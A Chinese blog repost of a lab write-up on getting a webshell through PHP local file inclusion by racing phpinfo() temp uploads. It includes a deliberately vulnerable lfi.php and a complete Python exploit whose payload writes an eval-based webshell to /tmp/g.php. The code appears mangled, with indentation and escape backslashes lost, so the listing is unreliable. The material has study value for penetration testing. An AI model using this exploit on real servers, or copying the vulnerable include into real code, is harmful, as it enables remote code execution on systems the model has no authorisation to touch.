我是靠谱客的博主 温柔白羊,最近开发中收集的这篇文章主要介绍LFI(本地文件包含)获取Webshell,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

      本地文件包含在Web渗透测试中时不时的会遇到。之前遇到本地文件包含的时候,最多就是证明一下:比如包含“/etc/passwd”。有利用本地文件包含来进行Getshell的,之前是略有耳闻的,这两天看相关文章的时候,好奇一下自己搭环境实现了一遍。很老的技术了,看老外在2011年就写了相关文章,不过文章中的Python程序是有问题的。我会在最后把自己修改的代码分享出来。

      关于原理可以参照老外的这篇文章:

      https://www.insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf

      Freebuf上也有写的很详细的文章:

      http://www.freebuf.com/articles/web/79830.html

      我遇到的几个问题:

      首先,遇到的问题是收到的HTTP请求,我在用Python本地打印的时候是一团乱码。通过检查HTTP首部的时候,发现我在POST Request的时候,加上了“Accept-Encoding: gzip, deflate”。返回的Response中内容部分都是gzip压缩了。后来,我在Request的时候把“Accept-Encoding: gzip, deflate”删掉了,这样Response得到的就是未压缩的了。

      其次,我在GET Request的时候,错误的组合了HTTP Header,在Wireshark抓包的时候,一直出现400 Bad Request。(参照源码的缘故),最后发现这个坑,是老外给的Python源码中组合GET Request有误。重新组织GET Request之后,就OK了。

      在这里,要稍微强调一下,组织Request的时候,一定要注意回车换行符(CRLF)。我之前不注意回车换行符,也导致最后的Exploit写出来有问题。下面是我抓的几个包:在首部和主体之间是有一个回车换行符的:

get1

      注意上面选中的部分,这个回车换行符是必须有的。在它之后再增加也是没有关系的,就算是加上内容也没关系。因为GET请求中,主体中是没有内容的,所有即使加上了内容,抓包的时候也不会显示出来,但是在最下面的部分会体现出来。如下图所示:

      多了一个回车换行符的情况:

get2

      主体部分有内容的情况:

get3

      看见没,在Wireshark的数据包细节都是没有体现出来的(因为增加的部分不符合GET Request的要求?我这么觉得),而在最下面的数据包字节(原始数据包)体现出来了。

      场景重现:

      我在本地使用了两台虚拟机来进行场景重现。攻击机为Kali_X64_2.0,目标机为ubuntu_14.04.1_Server_X64。目标机的/var/www/html下有phpinfo.php和lfi.php两个文件。

      经过前期的实验,发现PHP脚本处理POST请求时,会在/tmp下生成临时文件。在实验开始的时候,利用inotifywait命令来监控对tmp文件和目录的访问记录。

      命令为:inotifywait –m –r /tmp;运行截图如下:

inotifywait1

      攻击机运行写的Exploit脚本,运行结果如下:

lfi_attack

      目标机inotifywait监控得到的结果,部分截图如下。(注意红色框中内容,说明已经写入SHELL成功了):

inotifywait

      源码分享:

      phpinfo.php:

<?php
phpinfo();

?>

      lfi.php:

<?php
require($_GET['load']);
?>

      lfi_attack.py:

#!/usr/bin/env python
# __author__ = 'ShadonSniper'
import sys
import threading
import socket
def setup(host, port):
TAG="Locale File Include Vulns!!!"
PAYLOAD="""%srn<?php $c=fopen('/tmp/g.php','w');fwrite($c,'<?php eval($_GET["f"]);?>');?>rn""" % TAG
REQ1_DATA="""-----------------------------68124396905382484903242131rn"""+
"""Content-Disposition: form-data; name="userfile"; filename="test.txt"rn"""+
"""Content-Type: text/plainrn"""+"""rn"""+
"""%srn-----------------------------68124396905382484903242131--""" % PAYLOAD
padding="A" * 8000
REQ1="""POST /phpinfo.php?a=%s HTTP/1.1rn"""%padding
temp="""Host: %srn"""%host
REQ1 = REQ1+temp
REQ1=REQ1+"""User-Agent: """+padding+"""rn"""+
"""Accept: """+padding+"""rn"""+
"""Accept-Language: """+padding+"""rn"""+
"""Accept-Encoding: """+padding+"""rn"""+
"""Connection: keep-alivern"""+
"""Content-Type: multipart/form-data; boundary=---------------------------68124396905382484903242131rn"""
REQ1=REQ1+"""Content-Length: %srnrn"""%(len(REQ1_DATA))
REQ1=REQ1+"""%s"""%REQ1_DATA
#modify this to suit the LFI script
LFIREQ="""GET /lfi.php?load=%s HTTP/1.1rn"""+
"""Host: %srn"""+
"""User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.2.1rn"""+
"""Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8rn"""+
"""Accept-Language: en-US,en;q=0.5rn"""+
"""Connection: keep-alivernrn"""
#print REQ1
return (REQ1, TAG, LFIREQ)
def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s2.connect((host, port))
s.send(phpinforeq)
d = ""
while len(d) < offset:
d += s.recv(offset)
try:
i = d.index("[tmp_name] =&gt")
fn = d[i+17:i+31]
#print fn
except ValueError:
return None
s2.send(lfireq % (fn, host))
d = s2.recv(4096)
s.close()
s2.close()
if d.find(tag) != -1:
return fn
counter=0
class ThreadWorker(threading.Thread):
def __init__(self, e, l, m, *args):
threading.Thread.__init__(self)
self.event = e
self.lock = l
self.maxattempts = m
self.args = args
def run(self):
global counter
while not self.event.is_set():
with self.lock:
if counter >= self.maxattempts:
return
counter+=1
try:
x = phpInfoLFI(*self.args)
if self.event.is_set():
break
if x:
print "nGot it! Shell created in /tmp/g"
self.event.set()
except socket.error:
return
def getOffset(host, port, phpinforeq):
"""Gets offset of tmp_name in the php output"""
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.send(phpinforeq)
d = ""
while True:
i = s.recv(4096)
d+=i
if i == "":
break
# detect the final chunk
if i.endswith("0rnrn"):
break
s.close()
i = d.find("[tmp_name] =&gt")
if i == -1:
raise ValueError("No php tmp_name in phpinfo output")
print "found %s at %i" % (d[i:i+10],i)
# padded up a bit
return i+256
def main():
print "LFI With PHPInfo()"
print "-=" * 30
if len(sys.argv) < 2:
print "Usage: %s host [port] [threads]" % sys.argv[0]
sys.exit(1)
try:
host = socket.gethostbyname(sys.argv[1])
except socket.error, e:
print "Error with hostname %s: %s" % (sys.argv[1], e)
sys.exit(1)
port=80
try:
port = int(sys.argv[2])
except IndexError:
pass
except ValueError, e:
print "Error with port %d: %s" % (sys.argv[2], e)
sys.exit(1)
poolsz=10
try:
poolsz = int(sys.argv[3])
except IndexError:
pass
except ValueError, e:
print "Error with poolsz %d: %s" % (sys.argv[3], e)
sys.exit(1)
print "Getting initial offset...",
reqphp, tag, reqlfi = setup(host, port)
offset = getOffset(host, port, reqphp)
sys.stdout.flush()
maxattempts = 1000
e = threading.Event()
l = threading.Lock()
print "Spawning worker pool (%d)..." % poolsz
sys.stdout.flush()
tp = []
for i in range(0,poolsz):
tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag))
for t in tp:
t.start()
try:
while not e.wait(1):
if e.is_set():
break
with l:
sys.stdout.write( "r% 4d / % 4d" % (counter, maxattempts))
sys.stdout.flush()
if counter >= maxattempts:
break
print
if e.is_set():
print "Woot! m/"
else:
print ":("
except KeyboardInterrupt:
print "nTelling threads to shutdown..."
e.set()
print "Shuttin' down..."
for t in tp:
t.join()
if __name__=="__main__":
main()

      好了,记个笔记,加深印象。

转载于:https://www.cnblogs.com/hiccup/p/5423970.html

最后

以上就是温柔白羊为你收集整理的LFI(本地文件包含)获取Webshell的全部内容,希望文章能够帮你解决LFI(本地文件包含)获取Webshell所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(43)

评论列表共有 0 条评论

立即
投稿
返回
顶部